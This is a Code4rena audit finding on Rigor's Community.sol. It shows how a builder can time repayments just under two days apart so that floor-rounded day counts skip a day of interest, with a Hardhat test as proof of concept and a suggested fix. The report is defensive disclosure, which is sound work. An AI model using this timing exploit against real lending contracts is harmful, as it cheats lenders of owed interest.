Platform: Code4rena
Start Date: 01/08/2022
Pot Size: $50,000 USDC
Total HM: 26
Participants: 133
Period: 5 days
Judge: Jack the Pug
Total Solo HM: 6
Id: 151
League: ETH
Rank: 38/133
Findings: 1
Award: $165.63
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: scaraven
Also found by: 0x52, Deivitto, Lambda, TrungOre, auditor0517, hansfriese, rbserver, simon135, smiling_heretic, sseefried
165.6336 USDC - $165.63
https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L685-L686 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L846-L847
Project bulder can get away with paying the community owner only half of the agreed upon interest on his debt.
Theoretically, the community owner can defend himself from this exploit, if he's aware of this bug, but chances are that he won’t be aware.
Here is the edited version of a test case from the file test/utils/communityTests.ts
:
// project-1 it('returnToLender(): should accrue interest', async () => { const smallRepayAmount = 1; const communityOwner = (await communityContract.communities(1)).owner; // exploit await mineBlock(lendingTimestamp + 2 * ONE_DAY - 50); await mockDAIContract.mock.transferFrom .withArgs(signers[0].address, communityOwner, smallRepayAmount) .returns(true); const tx1 = await communityContract .connect(signers[0]) .repayLender(1, projectAddress, smallRepayAmount); await tx1.wait(); await mineBlock(lendingTimestamp + 4 * ONE_DAY - 100); await mockDAIContract.mock.transferFrom .withArgs(signers[0].address, communityOwner, smallRepayAmount) .returns(true); const tx2 = await communityContract .connect(signers[0]) .repayLender(1, projectAddress, smallRepayAmount); await tx2.wait(); // check that after 4 days... await mineBlock(lendingTimestamp + 4 * ONE_DAY); // ...it accrued only 2 days worth of interest const numDays = 2; const totalInterest = Math.floor( (lendingPrincipal * apr * numDays) / 365000, ); const amountToReturn = lendingPrincipal + totalInterest; const [ _amountToReturn, _lendingPrincipal, _totalInterest, _unclaimedInterest, ] = await communityContract.returnToLender(1, projectAddress); expect(_lendingPrincipal).to.equal(lendingPrincipal); expect(_amountToReturn).to.equal(amountToReturn - 2 * smallRepayAmount); expect(_totalInterest).to.equal(totalInterest - 2 * smallRepayAmount); expect(_unclaimedInterest).to.equal(0); });
The idea here is that because of the floor division by number of seconds in a day to get _noOfDays
, the interest increases only after a full day passes. However, project.lastTimestamp
is updated simply to current time in claimInterest
.
Because of this, if the builder triggers claimInterest
after just a bit less than two days, then interest is calculated still with _noOfDays == 1
. However, project.lastTimestamp
is increased by nearly two days so one day gets skipped. Now he just needs to repeat this every (nearly) two days.
The community owner can defend himself by triggering claimInterest
every day, just after interest accrued.
If _noOfDays
< 1, then the timestamp won’t be updated because of this line of code, so the builder can’t further reduce the interest to zero by triggering claimInterest
every < 24 hours.
Hardhat
Use number of seconds instead of number of days in the interest calculation.
Alternatively, increase project.lastTimestamp
by correct number of full days instead of simply setting it to current time.
#0 - parv3213
2022-08-11T13:57:45Z
duplicate of #180